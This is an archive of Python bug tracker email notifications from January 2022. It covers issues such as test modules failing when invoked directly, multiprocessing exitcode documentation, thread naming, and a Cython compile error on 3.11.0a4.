(Irit Katriel) Date: Tue, 18 Jan 2022 17:49:46 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642528186.33.0.395565187764.issue43869@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 13:41:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 18:41:39 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly Message-ID: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> New submission from Nikita Sobolev : While working on a similar issue for `test_typing.py` (https://bugs.python.org/issue46416) I wondered: how many other modules also have this problem? So, after several hours of local testing, I got several problems: - Lib/test/test_compileall.py Uses relative `.` import that cannot be resolved - Lib/test/test_distutils.py Is missing `import unittest` to run `unittest.main()` - Lib/test/test_dtrace.py Calls undefined `test_main()` instead of `unittest.main()` - Lib/test/test_tools/test_freeze.py Uses relative `.` import that cannot be resolved - Lib/test/test_zipfile64.py Imports undefined `from test.support import TESTFN` - Lib/unittest/test/test_program.py Uses relative `.` import that cannot be resolved Probably there are other problems, because I haven't checked: - Windows tests, because I don't have a Win machine - `test_importlib`, because it has a lot of failure (I don't know how to fix them yet) - Multiple other modules with slow tests - Modules with doctests which assert full `__qualname__` with module names To keep PRs reviews sane, I will include changes for several modules and split this big task of checking all test modules into several consecutive and rather simple pull requests. The first one with the problems described above is on its way! ---------- components: Tests messages: 410879 nosy: corona10, sobolevn priority: normal severity: normal status: open title: Multiple test modules fail to run if invoked directly type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 13:42:58 2022 From: report at bugs.python.org (Zachary Ware) Date: Tue, 18 Jan 2022 18:42:58 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642531378.98.0.018438891845.issue46425@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 13:43:32 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 18:43:32 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642531412.22.0.626549721152.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28866 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30666 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 13:59:15 2022 From: report at bugs.python.org (Ethan Furman) Date: Tue, 18 Jan 2022 18:59:15 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642532355.86.0.409361106194.issue46425@roundup.psfhosted.org> Ethan Furman added the comment: I suggest your grouping of PRs be by error type -- so have batches of "relative import" fixes and batches of "TESTFN" fixes, etc. ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:28:35 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 19:28:35 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642534115.91.0.171515266151.issue46425@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 1292aa6db5bed889a3c87df443754fcae0177801 by Nikita Sobolev in branch 'main': bpo-46425: Fix direct invocation of multiple test modules (GH-30666) https://github.com/python/cpython/commit/1292aa6db5bed889a3c87df443754fcae0177801 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:43:16 2022 From: report at bugs.python.org (Humbdrag) Date: Tue, 18 Jan 2022 19:43:16 +0000 Subject: [issue12067] Doc: remove errors about mixed-type comparisons. In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za> Message-ID: <1642534996.07.0.0713381156994.issue12067@roundup.psfhosted.org> Change by Humbdrag : ---------- pull_requests: +28867 pull_request: https://github.com/python/cpython/pull/30667 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:43:29 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 19:43:29 +0000 Subject: [issue46426] Improve tests for the dir_fd argument Message-ID: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> New submission from Serhiy Storchaka : There is a flaw in tests for the dir_fd argument in test_posix. All these tests open a current directory as dir_fd, so all paths are relative to the current directory. They will pass in case of the following errors: 1. dir_fd, src_dir_fd or dst_dir_fd are completely ignored. 2. The meaning of src_dir_fd and dst_dir_fd is opposite. The proposed PR rewrites these tests. It is ensure that directory file descriptors refer to directories different from the current directory, and that src_dir_fd and dst_dir_fd refer to different directories, and that all tested filenames are unique, so files cannot be confused with existing diles in different directories. Also add context manager open_dir_fd() in test.support.os_helper. It may be helpful in other tests for the dir_fd argument. ---------- components: Tests messages: 410882 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Improve tests for the dir_fd argument type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:46:19 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 19:46:19 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1642535179.19.0.490899721022.issue46426@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +28868 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30668 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:53:52 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 19:53:52 +0000 Subject: [issue20823] [doc] Clarify copyreg.pickle() documentation In-Reply-To: <1393749966.08.0.529137298895.issue20823@psf.upfronthosting.co.za> Message-ID: <1642535632.7.0.22396670015.issue20823@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 65940fa5c12a4b4a0650c7845044ffd63b94e227 by Kumar Aditya in branch 'main': bpo-20823: Clarify copyreg.pickle() documentation (GH-30230) https://github.com/python/cpython/commit/65940fa5c12a4b4a0650c7845044ffd63b94e227 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:53:52 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 19:53:52 +0000 Subject: [issue20823] [doc] Clarify copyreg.pickle() documentation In-Reply-To: <1393749966.08.0.529137298895.issue20823@psf.upfronthosting.co.za> Message-ID: <1642535632.92.0.714832797894.issue20823@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28869 pull_request: https://github.com/python/cpython/pull/30669 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:53:57 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 19:53:57 +0000 Subject: [issue20823] [doc] Clarify copyreg.pickle() documentation In-Reply-To: <1393749966.08.0.529137298895.issue20823@psf.upfronthosting.co.za> Message-ID: <1642535637.55.0.741065067937.issue20823@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28870 pull_request: https://github.com/python/cpython/pull/30670 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:17:03 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 20:17:03 +0000 Subject: [issue20823] [doc] Clarify copyreg.pickle() documentation In-Reply-To: <1393749966.08.0.529137298895.issue20823@psf.upfronthosting.co.za> Message-ID: <1642537023.75.0.276414348027.issue20823@roundup.psfhosted.org> miss-islington added the comment: New changeset 9238a52cbc39c17ca6c7a8cbda32808dd5522a59 by Miss Islington (bot) in branch '3.10': bpo-20823: Clarify copyreg.pickle() documentation (GH-30230) https://github.com/python/cpython/commit/9238a52cbc39c17ca6c7a8cbda32808dd5522a59 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:17:10 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 20:17:10 +0000 Subject: [issue20823] [doc] Clarify copyreg.pickle() documentation In-Reply-To: <1393749966.08.0.529137298895.issue20823@psf.upfronthosting.co.za> Message-ID: <1642537030.01.0.441866150898.issue20823@roundup.psfhosted.org> miss-islington added the comment: New changeset 8527f7a722aee3d9025267cc7ff2eb8afa38d166 by Miss Islington (bot) in branch '3.9': bpo-20823: Clarify copyreg.pickle() documentation (GH-30230) https://github.com/python/cpython/commit/8527f7a722aee3d9025267cc7ff2eb8afa38d166 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:20:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 20:20:00 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642537200.97.0.552498749069.issue46425@roundup.psfhosted.org> Nikita Sobolev added the comment: Thank you, Ethan. Good idea! Will do from the second PR. Thanks for merging, Serhiy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:31:30 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 18 Jan 2022 20:31:30 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642537890.82.0.120812332123.issue46425@roundup.psfhosted.org> Terry J. Reedy added the comment: Nikita, thanks for doing this. Ethan's suggestion has two advantages. 1. It would fix most backport issues. By containing a mix of changes, PR-30666 cannot be backported as is. 'unittest.main' should always backport unless there is a context conflict. But 3.9 does not have os.helper and TESTFN is still in test.support in 3.9 and that change cannot backport. (I did not check 3.10.) 2. It restricts the knowledge needed to review (and be willing to merge). I could and would review and merge a patch with only unittest.main changes, but not, without checking the docs to learn about new changes, the mixture you posted. I suggest you write a script to directly run each test.test_xyz file via subprocess and report to stdout. The test for this issue is a clean report. If you do so, I will run it on Windows in a fresh build of each of 3.9, 3.10, and 3.11. Note that there are two possible commands: 'python -m test test_xyz' and 'python -m test.test_xyz'. They are subtly different. So I would add an option to do it each way. With current 3.11, test_importlib runs fine on my Windows, with 1436 tests. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:38:39 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 20:38:39 +0000 Subject: [issue46045] NetBSD: do not use POSIX semaphores In-Reply-To: <1639218664.63.0.969239482314.issue46045@roundup.psfhosted.org> Message-ID: <1642538319.37.0.0519354523002.issue46045@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 60ceedbdd5b5fb22803039a59954798d931f659a by Thomas Klausner in branch 'main': bpo-46045: Do not use POSIX semaphores on NetBSD (GH-30047) https://github.com/python/cpython/commit/60ceedbdd5b5fb22803039a59954798d931f659a ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:46:00 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 20:46:00 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642538760.71.0.701892518104.issue46402@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28871 pull_request: https://github.com/python/cpython/pull/30671 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:46:35 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 20:46:35 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1642538795.76.0.944417824117.issue44024@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 16bf9bd157c7bf5f9c60414fa8e0fe5047c55a9b by G?ry Ogam in branch 'main': bpo-44024: Improve the TypeError message in getattr and hasattr (GH-25863) https://github.com/python/cpython/commit/16bf9bd157c7bf5f9c60414fa8e0fe5047c55a9b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:47:30 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 20:47:30 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1642538850.24.0.847428923227.issue44024@roundup.psfhosted.org> Serhiy Storchaka added the comment: Thank you for your contribution G?ry. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:48:23 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 20:48:23 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642538903.9.0.082312550903.issue46402@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28872 pull_request: https://github.com/python/cpython/pull/30672 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:53:27 2022 From: report at bugs.python.org (neonene) Date: Tue, 18 Jan 2022 20:53:27 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe Message-ID: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> New submission from neonene : In pcbuild.proj, "PreferredToolArchitecture" property looks misused, which I think is useful giving us two selections of a compiler (32bit or 64bit) for any target architecture (Win32/x64/ARM/ARM64). I think the property can be unused there. This means a partial revert of PR28491, whose description I cannot reproduce. This also rolls _freeze_module.exe's architecture back to x64 when the target platform is x64 or ARM64. ---------- components: Build messages: 410891 nosy: neonene priority: normal severity: normal status: open title: Correct MSBuild's configuration for _freeze_module.exe type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:57:19 2022 From: report at bugs.python.org (neonene) Date: Tue, 18 Jan 2022 20:57:19 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642539439.57.0.0820774071711.issue46427@roundup.psfhosted.org> Change by neonene : ---------- keywords: +patch pull_requests: +28873 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30673 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:01:38 2022 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 18 Jan 2022 21:01:38 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642539698.16.0.195354674355.issue46402@roundup.psfhosted.org> Ned Batchelder added the comment: BTW, I'm fine with this being closed, since the functionality I wanted is available and documented. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:03:11 2022 From: report at bugs.python.org (R. David Murray) Date: Tue, 18 Jan 2022 21:03:11 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642539791.9.0.261012493924.issue46392@roundup.psfhosted.org> R. David Murray added the comment: The general idea is that the string version of the header should contain all of the original information, but the parsed elements (the things returned by special header attributes) will contain the valid data, if any. So if the string version of the header is being truncated or transformed (other than whitespace changes during re-folding), that is a bug. Your examples involve comment fields, and I'm afraid that my development of the parser stopped before I did very much with comments. Therefore I am not surprised that comments are handled incorrectly :( :( They aren't very common in the wild, as far as I was able to tell. which is why they were my last priority. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:09:07 2022 From: report at bugs.python.org (John Marshall) Date: Tue, 18 Jan 2022 21:09:07 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642540147.77.0.541965904518.issue45554@roundup.psfhosted.org> John Marshall added the comment: Ping -- This issue has an associated PR that expands the multiprocessing.Process.exitcode documentation to cover normal, sys.exit(), and exception-raised termination of the child process. https://github.com/python/cpython/pull/30142 The PR has been available for a month but has not received any review comments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:09:55 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 21:09:55 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642540195.38.0.148660343928.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: > BTW, I'm fine with this being closed, since the functionality I wanted is available and documented. Great. I was considering closing it as soon as the backports have landed (I had to manually fix them bco. make suspicious failures). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:15:38 2022 From: report at bugs.python.org (Zachary Ware) Date: Tue, 18 Jan 2022 21:15:38 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642540538.45.0.74713383433.issue45554@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +davin, pitrou versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:26:34 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Tue, 18 Jan 2022 21:26:34 +0000 Subject: [issue15500] Python should support exporting thread names to the OS In-Reply-To: <1343650770.87.0.181202709436.issue15500@psf.upfronthosting.co.za> Message-ID: <1642541194.88.0.319397182535.issue15500@roundup.psfhosted.org> Oleg Iarygin added the comment: @r.david.murray > It is indeed the compatibility that is the worse issue. The problem is what > people have gotten used to and may have coded their applications to expect/deal > with. I agree with you that most people would *not* find it surprising to see > the name reflected in the OS, but I don't think the convenience of that is worth > introducing a potential backward incompatibility. For now, Python thread names are always empty (as in many other programs). So Python-oriented tools that could expect some other outcome to bother check the names are just impossible (there is no alternative semantics they could perform in non-empty case). ---------- nosy: +arhadthedev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:31:39 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 21:31:39 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642541499.43.0.943483773605.issue45554@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28874 pull_request: https://github.com/python/cpython/pull/30674 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:31:40 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 21:31:40 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642541500.18.0.192745228908.issue45554@roundup.psfhosted.org> miss-islington added the comment: New changeset 3852269b91fcc8ee668cd876b3669eba6da5b1ac by John Marshall in branch 'main': bpo-45554: Document multiprocessing.Process.exitcode values (GH-30142) https://github.com/python/cpython/commit/3852269b91fcc8ee668cd876b3669eba6da5b1ac ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:31:46 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 21:31:46 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642541506.02.0.528109049644.issue45554@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28875 pull_request: https://github.com/python/cpython/pull/30675 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:32:45 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 18 Jan 2022 21:32:45 +0000 Subject: [issue15500] Python should support exporting thread names to the OS In-Reply-To: <1343650770.87.0.181202709436.issue15500@psf.upfronthosting.co.za> Message-ID: <1642541565.3.0.746830528166.issue15500@roundup.psfhosted.org> Antoine Pitrou added the comment: Two things: 1) I agree this is an extremely valuable addition for any package or application that does a non-trivial use of threads in Python. 2) It should at least be exposed as a standalone function in the `threading` module, *and* ideally also be called automatically by the `Threading._bootstrap` method. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:41:03 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Tue, 18 Jan 2022 21:41:03 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1642542063.58.0.866892782787.issue44024@roundup.psfhosted.org> G?ry added the comment: Thanks for the review Serhiy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:51:37 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 21:51:37 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642542697.68.0.00963291285735.issue45554@roundup.psfhosted.org> miss-islington added the comment: New changeset 4449a1694a0fd2c63fcef5eb7d0ad1d7dfbb6077 by Miss Islington (bot) in branch '3.10': bpo-45554: Document multiprocessing.Process.exitcode values (GH-30142) https://github.com/python/cpython/commit/4449a1694a0fd2c63fcef5eb7d0ad1d7dfbb6077 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:52:45 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 18 Jan 2022 21:52:45 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642542765.45.0.132997877473.issue45554@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:56:35 2022 From: report at bugs.python.org (YoSTEALTH) Date: Tue, 18 Jan 2022 21:56:35 +0000 Subject: [issue46428] 3.11.0a3 vs 3.11.0a4 Message-ID: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> New submission from YoSTEALTH : Getting compilation error for an Cython project, since upgrade from `3.11.0a3` to `3.11.0a4`, same code. /opt/python/3.11/bin/python3 setup.py build_ext --inplace -j18 clean --all # 3.11.0a3 # ======== prefix /usr includedir /usr/include libdir /usr/lib libdevdir /usr/lib relativelibdir mandir /usr/man datadir /usr/share stringop_overflow yes array_bounds yes __kernel_rwf_t yes __kernel_timespec yes open_how yes statx yes C++ yes has_ucontext yes has_memfd_create yes liburing_nolibc yes CC gcc CXX g++ Compiling src/uring.pyx because it depends on /opt/python/3.11/lib/python3.11/site-packages/Cython/Includes/libc/s tring.pxd. [1/1] Cythonizing src/uring.pyx running build_ext building 'uring._uring' extension gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/nolibc.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o -Os -g0 - include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/queue.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/queue.o -Os -g0 -in clude libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/register.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o -Os - g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/setup.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/setup.o -Os -g0 -in clude libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c src/uring.c -o build/temp.linux-x86_64-3.11/src/uring.o -Os -g0 -include libs/liburing/config-h ost.h gcc -pthread -shared build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o build/temp.linux-x86_64-3.11/libs/lib uring/src/queue.o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o build/temp.linux-x86_64-3.11/libs/libu ring/src/setup.o build/temp.linux-x86_64-3.11/src/uring.o -o build/lib.linux-x86_64-3.11/uring/_uring.cpython-311- x86_64-linux-gnu.so copying build/lib.linux-x86_64-3.11/uring/_uring.cpython-311-x86_64-linux-gnu.so -> uring running clean removing 'build/temp.linux-x86_64-3.11' (and everything under it) removing 'build/lib.linux-x86_64-3.11' (and everything under it) removing 'build/bdist.linux-x86_64' (and everything under it) 'build/scripts-3.11' does not exist -- can't clean it removing 'build' # 3.11.0a4 # ======== prefix /usr includedir /usr/include libdir /usr/lib libdevdir /usr/lib relativelibdir mandir /usr/man datadir /usr/share stringop_overflow yes array_bounds yes __kernel_rwf_t yes __kernel_timespec yes open_how yes statx yes C++ yes has_ucontext yes has_memfd_create yes liburing_nolibc yes CC gcc CXX g++ Compiling src/uring.pyx because it depends on /opt/python/3.11/lib/python3.11/site-packages/Cython/Includes/libc/string.pxd. [1/1] Cythonizing src/uring.pyx running build_ext building 'uring._uring' extension gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/nolibc.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/queue.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/queue.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/register.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/setup.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/setup.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c src/uring.c -o build/temp.linux-x86_64-3.11/src/uring.o -Os -g0 -include libs/liburing/config-host.h src/uring.c: In function ?__Pyx_PyErr_GetTopmostException?: src/uring.c:53549:21: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53549 | while ((exc_info->exc_type == NULL || exc_info->exc_type == Py_None) && | ^~ src/uring.c:53549:51: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53549 | while ((exc_info->exc_type == NULL || exc_info->exc_type == Py_None) && | ^~ src/uring.c: In function ?__Pyx__ExceptionSave?: src/uring.c:53563:21: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53563 | *type = exc_info->exc_type; | ^~ src/uring.c:53565:19: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53565 | *tb = exc_info->exc_traceback; | ^~ src/uring.c: In function ?__Pyx__ExceptionReset?: src/uring.c:53579:24: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53579 | tmp_type = exc_info->exc_type; | ^~ src/uring.c:53581:22: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53581 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53582:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53582 | exc_info->exc_type = type; | ^~ src/uring.c:53584:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53584 | exc_info->exc_traceback = tb; | ^~ src/uring.c: In function ?__Pyx__GetException?: src/uring.c:53641:28: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53641 | tmp_type = exc_info->exc_type; | ^~ 